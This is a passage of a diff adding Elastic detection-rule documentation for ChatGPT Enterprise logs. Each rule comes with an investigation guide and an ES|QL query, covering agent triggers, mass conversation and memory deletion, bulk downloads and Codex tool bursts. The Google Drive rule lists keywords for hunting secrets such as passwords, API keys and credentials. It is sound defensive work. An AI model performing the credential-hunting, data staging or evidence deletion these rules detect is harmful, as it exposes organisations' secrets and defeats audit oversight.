remediation* + + +- Unpublish or delete unauthorized agents and revoke connected OAuth links. +- Review recent agent runs if the agent may already have executed. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.custom_agents_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.custom_agents_log" and + event.action == "agent_published" +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, + gen_ai.agent.id, + openai_chatgpt_enterprise.custom_agents_log.client_id, + openai_chatgpt_enterprise.custom_agents_log.event_details.publish_type, + openai_chatgpt_enterprise.custom_agents_log.event_details.release_name, + openai_chatgpt_enterprise.custom_agents_log.event_details.agent_fields.store_visible, + openai_chatgpt_enterprise.custom_agents_log.event_details.agent_fields.workspace_capability, + data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Software Extensions +** ID: T1176 +** Reference URL: https://attack.mitre.org/techniques/T1176/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-trigger-changed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-trigger-changed.asciidoc new file mode 100644 index 0000000000..c7156d1838 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-trigger-changed.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-custom-agent-trigger-changed]] +=== OpenAI ChatGPT Enterprise Custom Agent Trigger Changed + +Detects ChatGPT Enterprise custom-agent events that create or update a trigger. Triggers can schedule or event-drive agent runs without interactive user presence, enabling persistence and automation abuse. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Persistence +* Mitre Atlas: AML.T0081 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Custom Agent Trigger Changed* + + +An agent trigger was created or updated. Triggers can schedule or event-drive agent runs without interactive user presence. + +Escalate when the schedule or event scope is overly broad, required actions are sensitive, or the actor is unauthorized. Close as a false positive for approved recurring operational workflows. + + +*Possible investigation steps* + + +- Identify the actor, agent, and trigger configuration on the alert. +- Confirm schedule or event scope and the actions the trigger can invoke. +- Review recent agent runs associated with the trigger or agent. +- Correlate with agent publish or connector-link events from the same actor. + + +*False positive analysis* + + +- Operations teams create approved triggers for recurring agent workflows. + + +*Response and remediation* + + +- Delete unauthorized triggers and review recent agent runs for unexpected automation. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.custom_agents_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.custom_agents_log" and + event.action in ("trigger_created", "trigger_updated") +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, + gen_ai.agent.id, + openai_chatgpt_enterprise.custom_agents_log.client_id, + openai_chatgpt_enterprise.custom_agents_log.event_details.trigger_fields.required_actions, + data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-domain-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-domain-created.asciidoc new file mode 100644 index 0000000000..3158f3dac2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-domain-created.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-domain-created]] +=== OpenAI ChatGPT Enterprise Domain Created + +Detects ChatGPT Enterprise audit events that create a workspace domain boundary entry. Domain changes can expand who is allowed to join or access the tenant and may establish persistence for attacker-controlled domains. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Mitre Atlas: AML.T0125 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Domain Created* + + +A domain was added to the workspace boundary. Domain changes can expand who is allowed to join or access the tenant. + +Escalate when the domain is not corporate-owned, the change lacks approval, or invites from that domain follow quickly. Close as a false positive for documented onboarding or merger-related domain additions. + + +*Possible investigation steps* + + +- Identify the actor and the domain value on the alert. +- Validate ownership of the domain and whether a change request exists. +- Search for subsequent invites, role changes, or ownership transfers involving that domain. +- Review other IAM changes by the same actor in the surrounding window. + + +*False positive analysis* + + +- Administrators add legitimate corporate domains during onboarding or merger activity when the request is approved. + + +*Response and remediation* + + +- Remove unauthorized domains and audit subsequent invites associated with that domain. +- Rotate credentials for the actor if the change appears malicious. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action == "domain_create" +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, source.ip, + openai_chatgpt_enterprise.audit_log.action_data.hostname, + openai_chatgpt_enterprise.audit_log.action_data.domains, + openai_chatgpt_enterprise.audit_log.action_data.domain_id, + openai_chatgpt_enterprise.audit_log.action_privilege, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-excessive-conversation-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-excessive-conversation-deletion.asciidoc new file mode 100644 index 0000000000..fd1075cc80 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-excessive-conversation-deletion.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-excessive-conversation-deletion]] +=== OpenAI ChatGPT Enterprise Excessive Conversation Deletion + +Detects an unusually high number of ChatGPT Enterprise conversation deletion events for the same user within a rolling 24-hour lookback. Mass deletion can indicate an attempt to remove conversation history or cover tracks after misuse. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Use Case: UEBA +* Tactic: Defense Evasion +* Mitre Atlas: AML.T0092 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Excessive Conversation Deletion* + + +One user deleted a large number of conversations in a rolling 24-hour window. Mass deletion can remove useful +investigative context after misuse or data staging. + +Escalate when deletions follow downloads, shares, or credential-bearing prompts, or when the user has no retention-cleanup role. Close as a false positive for documented retention cleanup or migration tooling. + + +*Possible investigation steps* + + +- Capture conversation identifiers from the alert while they remain in audit history. +- Review `Esql.event_count` and the time window for the user. +- Compare with preceding file downloads, conversation shares, or prompts containing secrets from the same user. +- Confirm whether a retention or migration process accounts for the volume. + + +*False positive analysis* + + +- Approved retention cleanup jobs and workspace migration tooling can delete many conversations in a short period. + + +*Response and remediation* + + +- Preserve remaining audit exports, revoke sessions if the activity appears malicious, and investigate prior data access by the same user. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action == "conversation_delete" and + user.id is not null +| stats + Esql.event_count = count(*), + Esql.conversation_id_values = values(openai_chatgpt_enterprise.audit_log.action_data.conversation_id), + Esql.source_ip_values = values(source.ip), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.id, user.email +| where Esql.event_count >= 20 +| keep user.id, user.email, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-google-drive-sensitive-query-burst.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-google-drive-sensitive-query-burst.asciidoc new file mode 100644 index 0000000000..79c0f00aa4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-google-drive-sensitive-query-burst.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-google-drive-sensitive-query-burst]] +=== OpenAI ChatGPT Enterprise Google Drive Sensitive Query Burst + +Detects a ChatGPT Enterprise user issuing five or more distinct Google Drive app search queries in a five-minute bucket where at least one query matches sensitive-data themes (payroll, payslip, confidential, payment, NDA, credentials, and similar). Adversaries who abuse a linked Drive connector after session compromise often run rapid multi-term searches to locate high-value files before download or sharing. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Collection +* Tactic: Discovery +* Mitre Atlas: AML.T0053 +* Mitre Atlas: AML.T0085 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Google Drive Sensitive Query Burst* + + +One user ran five or more distinct Google Drive searches in five minutes, with at least one query matching +sensitive-data themes. That pattern can indicate using ChatGPT's Google Drive connector to discover payroll, +confidential, payment, NDA, or credential-related files ahead of collection or exfiltration. + +Escalate when queries look like bulk sensitive discovery, downloads or shares follow, or the actor is unexpected for +those document types. Close as a false positive for approved HR, legal, or finance research. + + +*Possible investigation steps* + + +- Review `Esql.query_values`, `Esql.sensitive_query_count`, and `Esql.query_count_distinct` on the alert. +- Correlate with nearby conversation messages asking ChatGPT to search or download Drive files. +- Check subsequent file downloads, conversation shares, or Codex MCP Drive tool calls from the same user. +- Confirm whether the Google Drive connector is approved for that user and whether the search matches their role. + + +*False positive analysis* + + +- HR, payroll, legal, and vendor teams commonly search for NDA, payroll, or contract terms. +- Raise `Esql.query_count_distinct` (default 5) or `Esql.sensitive_query_count` above your baseline if approved roles + remain noisy. + + +*Response and remediation* + + +- If unauthorized, revoke Google Drive connector access for the user, review retrieved files, and treat exposed + documents per your data-incident process. +- Hunt for follow-on downloads, shares, or external forwarding of the matched content. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect `app_log` events for the Google Drive app, +including request logs with `openai_chatgpt_enterprise.app_log.query` populated. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.app_log-* +| where + data_stream.dataset == "openai_chatgpt_enterprise.app_log" and + openai_chatgpt_enterprise.app_log.app_name == "Google Drive" and + openai_chatgpt_enterprise.app_log.log_type == "request" and + openai_chatgpt_enterprise.app_log.query is not null and + user.email is not null +| eval Esql.query_text = to_lower(openai_chatgpt_enterprise.app_log.query) +| eval Esql.is_sensitive = case( + Esql.query_text like "*payslip*" or + Esql.query_text like "*payroll*" or + Esql.query_text like "*salary*" or + Esql.query_text like "*compensation*" or + Esql.query_text like "*confidential*" or + Esql.query_text like "*privileged*" or + Esql.query_text like "*payment*" or + Esql.query_text like "*ssn*" or + Esql.query_text like "*social security*" or + Esql.query_text like "*passport*" or + Esql.query_text like "*bank account*" or + Esql.query_text like "*w2*" or + Esql.query_text like "*w-2*" or + Esql.query_text like "*tax return*" or + Esql.query_text like "*offer letter*" or + Esql.query_text like "*nda*" or + Esql.query_text like "*secret*" or + Esql.query_text like "*password*" or + Esql.query_text like "*api key*" or + Esql.query_text like "*credential*", + 1, + 0 +) +| eval Esql.time_bucket = date_trunc(5 minutes, @timestamp) +| stats + Esql.query_count_distinct = count_distinct(openai_chatgpt_enterprise.app_log.query), + Esql.event_count = count(*), + Esql.sensitive_query_count = sum(Esql.is_sensitive), + Esql.query_values = values(openai_chatgpt_enterprise.app_log.query), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by + user.email, + organization.id, + Esql.time_bucket +| where + Esql.query_count_distinct >= 5 and + Esql.sensitive_query_count >= 1 +| keep + user.email, + organization.id, + Esql.time_bucket, + Esql.query_count_distinct, + Esql.sensitive_query_count, + Esql.event_count, + Esql.query_values, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-codex-mcp-tool-diversity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-codex-mcp-tool-diversity.asciidoc new file mode 100644 index 0000000000..6cfd9c5dfa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-codex-mcp-tool-diversity.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-codex-mcp-tool-diversity]] +=== OpenAI ChatGPT Enterprise High Codex MCP Tool Diversity + +Detects a ChatGPT Enterprise Codex user invoking a high number of distinct MCP tools across multiple connectors within a 30-minute bucket. Broad tool and connector diversity in a short window can indicate compromised-account recon, unauthorized multi-system collection, or an agent rapidly enumerating organizational data sources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Collection +* Mitre Atlas: AML.T0053 +* Mitre Atlas: AML.T0085 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise High Codex MCP Tool Diversity* + + +One user invoked many distinct Codex MCP tools across multiple connectors in a 30-minute bucket. That pattern can +indicate compromised-account reconnaissance, unauthorized multi-system collection, or an agent rapidly enumerating +connected data sources. + +Escalate when the tool set spans unexpected connectors, the actor is unusual for those systems, or nearby events show +credential exposure, access-token creation, or bulk downloads. Close as a false positive for known power-user or +approved automation baselines. + + +*Possible investigation steps* + + +- Review `Esql.gen_ai_tool_name_values`, `Esql.connector_id_values`, `Esql.event_count`, and the time bucket. +- Confirm whether the connectors are approved for that user and whether the session aligns with a known project. +- Pivot to nearby `app_mcp_result`, prompt, share, and download events for the same `user.email`. +- Compare against the user's normal Codex MCP diversity over prior days. + + +*False positive analysis* + + +- Engineers using several approved connectors in one Codex session commonly produce multi-tool bursts. +- Raise the distinct-tool or distinct-connector thresholds above your normal 30-minute Codex baseline if approved + power users remain noisy. + + +*Response and remediation* + + +- Disable unauthorized connectors, revoke related OAuth links or Codex access tokens, and review data returned into + the session. +- If account compromise is suspected, reset sessions and hunt for follow-on exfiltration. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect Codex compliance logs into Elasticsearch, +including `app_mcp_call` events. Tune the distinct-tool and distinct-connector thresholds above your normal Codex +baseline before broad enablement. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.codex_log-* +| where + data_stream.dataset == "openai_chatgpt_enterprise.codex_log" and + event.action == "app_mcp_call" and + user.email is not null and + organization.id is not null and + gen_ai.tool.name is not null +| eval Esql.time_bucket = date_trunc(30 minutes, @timestamp) +| stats + Esql.gen_ai_tool_name_count_distinct = count_distinct(gen_ai.tool.name), + Esql.connector_id_count_distinct = count_distinct(openai_chatgpt_enterprise.codex_log.event_details.tool_meta.connector_id), + Esql.event_count = count(*), + Esql.gen_ai_tool_name_values = values(gen_ai.tool.name), + Esql.connector_id_values = values(openai_chatgpt_enterprise.codex_log.event_details.tool_meta.connector_id), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by + user.email, + organization.id, + Esql.time_bucket +| where + Esql.gen_ai_tool_name_count_distinct >= 10 and + Esql.connector_id_count_distinct >= 3 +| keep + user.email, + organization.id, + Esql.time_bucket, + Esql.gen_ai_tool_name_count_distinct, + Esql.connector_id_count_distinct, + Esql.event_count, + Esql.gen_ai_tool_name_values, + Esql.connector_id_values, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-file-download-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-file-download-activity.asciidoc new file mode 100644 index 0000000000..fe629d556e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-file-download-activity.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-high-file-download-activity]] +=== OpenAI ChatGPT Enterprise High File Download Activity + +Detects a high number of ChatGPT Enterprise file download audit events for the same user within a rolling 24-hour lookback. Bulk downloads can indicate staging of conversation attachments or workspace files for exfiltration. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Exfiltration +* Mitre Atlas: AML.T0025 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise High File Download Activity* + + +One user downloaded a large number of files in a rolling 24-hour window. Bulk downloads can stage conversation +attachments or workspace files for exfiltration. + +Escalate when there is no business justification, downloads coincide with unusual geo or user agents, or shares and deletions follow. Close as a false positive for approved research, migration, or export projects. + + +*Possible investigation steps* + + +- Review `Esql.event_count` and file identifiers associated with the user. +- Check nearby conversation or share activity and whether downloads align with an approved project. +- Compare source IP, geo, and user agent with the user's normal baseline. +- Determine where downloaded content may have been stored or forwarded. + + +*False positive analysis* + + +- Users downloading many attachments during legitimate research, migration, or e-discovery work. + + +*Response and remediation* + + +- Suspend access if the downloads appear unauthorized and inventory the downloaded content. +- Revoke sessions and review other exfiltration-oriented activity by the same user. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action == "file_download" and + user.id is not null +| stats + Esql.event_count = count(*), + Esql.file_id_values = values(openai_chatgpt_enterprise.audit_log.action_data.file_id), + Esql.file_format_values = values(openai_chatgpt_enterprise.audit_log.action_data.file_format), + Esql.source_ip_values = values(source.ip), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.id, user.email +| where Esql.event_count >= 30 +| keep user.id, user.email, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-memory-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-memory-deleted.asciidoc new file mode 100644 index 0000000000..e652ad3d60 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-memory-deleted.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-memory-deleted]] +=== OpenAI ChatGPT Enterprise Memory Deleted + +Detects ChatGPT Enterprise audit events that delete stored memory. Adversaries may delete memory entries to remove evidence of prior prompts, preferences, or staging instructions after misuse. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Defense Evasion +* Mitre Atlas: AML.T0092 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Memory Deleted* + + +A ChatGPT Enterprise memory entry was deleted. Memory deletion can remove persisted context that would otherwise help explain prior conversations or automated behavior. + +Escalate when deletion follows unusual chat activity, credential exposure, or other defense-evasion signals from the same user. Close as a false positive for routine user-driven memory cleanup. + + +*Possible investigation steps* + + +- Identify the user and memory identifiers on the alert. +- Review the user's recent conversation and Codex activity for sensitive content or policy-violating use. +- Correlate with mass conversation deletion, shares, or downloads nearby. +- Ask the user whether the deletion was intentional only after reviewing surrounding activity. + + +*False positive analysis* + + +- Users commonly delete individual memories while managing personalization settings. + + +*Response and remediation* + + +- Preserve remaining audit history and investigate the actor's recent conversations if the deletion appears tied to concealment. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action == "delete_memory" +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, source.ip, + openai_chatgpt_enterprise.audit_log.action_data.memory_id, + openai_chatgpt_enterprise.audit_log.action_data.auth_user_id, + openai_chatgpt_enterprise.audit_log.action_privilege, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-multiple-authentication-failures.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-multiple-authentication-failures.asciidoc new file mode 100644 index 0000000000..6d465f21a9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-multiple-authentication-failures.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-multiple-authentication-failures]] +=== OpenAI ChatGPT Enterprise Multiple Authentication Failures + +Detects multiple failed ChatGPT Enterprise login attempts for the same user email within a short window. Password spraying or credential stuffing against enterprise accounts often precedes a successful compromise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT 